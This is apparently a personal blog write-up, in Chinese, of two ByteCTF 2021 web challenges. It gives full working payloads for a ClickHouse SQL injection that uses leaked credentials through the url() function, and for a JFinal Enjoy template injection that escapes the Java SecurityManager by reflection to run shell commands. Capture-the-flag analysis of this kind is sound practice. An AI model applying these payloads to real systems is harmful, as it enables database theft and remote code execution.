ma4ter

Index | Photo | About | Friends | Archives

bytectf2021 web writeup

题目太难了虽然拿了个web一血 最后连50名都没进 昨晚搞了一晚上把jfinal那道题写出来了 随便写写wp吧
bytectf2021 web writeup

1.double sqli

通过报错发现这是个不常见的数据库clickhouse
bytectf2021 web writeup
但是去翻官方文档可以用mysql的大部分语句
clickhouse有个类似mysql information_schema库的默认库system然后看文档就知道怎么构造payload了
bytectf2021 web writeup
http://39.105.175.150:30001/?id=1%20union%20all%20select%20name%20from%20system.databases
查看所有的数据库
bytectf2021 web writeup
查看所有表
http://39.105.175.150:30001/?id=1%20union%20all%20select%20name%20from%20system.tables
bytectf2021 web writeup
hint表在ctf库里面
bytectf2021 web writeup
读出来是个这玩意提示没权限
后面发现打开首页是个这个
bytectf2021 web writeup
然后发现了目录遍历漏洞
bytectf2021 web writeup
bytectf2021 web writeup
在这个路径下发现了两个sql
bytectf2021 web writeup
发现里面存着两个用户的账号密码并且被赋予了不同权限
bytectf2021 web writeup
bytectf2021 web writeup
发现user_01有ctf库的权限 flag应该在这个库里面 怎么切换到user_01账号呢
数据库是不能外联的 后来在官方文档中找了url这个函数
bytectf2021 web writeup
刚好clickhouse有http接口
bytectf2021 web writeup
我们就直接用这个函数然后使用user_01账号认证去数据库中查询flag
最后的payload:

http://39.105.175.150:30001/?id=1 union/**/all select * FROM url('http://localhost:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=SELECT/**/*/**/from/**/ctf.flag', CSV, 'column1 String')

bytectf2021 web writeup

2.Unsecure Blog

这个题目比赛的时候没弄出来 昨晚弄了一晚上才搞出来- -(**ctf)
bytectf2021 web writeup
看提示需要bypass sandbox 直接把源码下载下来
发现后台预览的地方可以触发ssti
bytectf2021 web writeup
bytectf2021 web writeup
bytectf2021 web writeup
后来找到了这篇文章
https://p1n93r.github.io/post/code_audit/jfinal_enjoy_template_engine%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90/
bytectf2021 web writeup
但是发现这个版本并没有文中的commons-lang3这个依赖了
只有自己去找第三方依赖中有没有反射之类的工具类
最终我在net.sf.ehcache.util这个包中找到了一个classloader的工具类
有两个静态方法可以用
bytectf2021 web writeup
可以看到这个方法里面就是进行的反射操作 返回一个实例
bytectf2021 web writeup
当时看到这里的时候就以为要成功了 直接用第二个方法进行构造即可
但是后面传参数的时候把我难到了 发现无论如何都没办法传中间这个class数组过去
翻越了enjoy模板引擎官方文档后也发现
bytectf2021 web writeup
类型对不到函数的签名 而且不可以进行类型转换
bytectf2021 web writeup
后来我发现第一个方法也就是只需要传类名的这个方法不就可以用在javax.script.ScriptEngineManager这个类上面吗
因为这个类就存在无参数构造方法 而且可以通过动态执行javascript脚本的方式来执行代码
bytectf2021 web writeup
bytectf2021 web writeup
可以看到成功返回来这个类的实例
接下来我又以为就直接能rce了但是还是太天真了
bytectf2021 web writeup
直接执行命令报错了
bytectf2021 web writeup
看jvm报错发现存在securitymanager检测权限 现在就要bypass这个沙盒机制了
我发现了这篇文章
https://c0d3p1ut0s.github.io/%E6%94%BB%E5%87%BBJava%E6%B2%99%E7%AE%B1/
文中提到了几种方法bypass 其中一种便是通过反射来绕过
bytectf2021 web writeup
bytectf2021 web writeup
于是开始构造 我们只能将其放在ScriptEngineManager里面动态调用
然后里面又是js的语法 把我卡了很久
bytectf2021 web writeup
报错的原因猜测里面是js语法的原因 所以无法直接这样获得String数组的class
后面终于查到我们可以使用 反射数组类通过反射来构造这样一个数组 然后调用.getClass()方法获得其class
本地测试可行
bytectf2021 web writeup
同理后面的ProcessBuilder.Redirect类数组的class也可以通过这种方法得到
最后就是那个boolean.class也有问题 javascript里面是没有boolean这个关键词的
bytectf2021 web writeup
后来我想到可以用对应的包装类Boolean然后.TYPE获得class
bytectf2021 web writeup
后面传参数的时候我们需要按照js的语法来构造一个string数组
Str1[0]="/bin/bash";Str1[1]="-c";Str1[2]="whoami";
最后的payload:

#((net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager")).getEngineByName("javascript").
eval("method=(java.lang.Class.forName(\"java.lang.ProcessImpl\").getDeclaredMethod(\"start\", java.lang.reflect.Array.newInstance(\"\".getClass(),1).getClass(), java.util.Map.class, \"\".getClass(), java.lang.reflect.Array.newInstance(java.lang.ProcessBuilder.Redirect.class,1).getClass(),java.lang.Boolean.TYPE));method.setAccessible(true);Str1=java.lang.reflect.Array.newInstance(\"\".getClass(),3);Str1[0]=\"/bin/bash\";Str1[1]=\"-c\";Str1[2]=\"whoami\";invoke=method.invoke(java.lang.Class.forName(\"java.lang.ProcessImpl\"),Str1,null,null,null,false);"))

bytectf2021 web writeup
ctf中直接命令导出注册表即可获得flag
然后使用模板引擎的语法include即可查看文件内容
bytectf2021 web writeup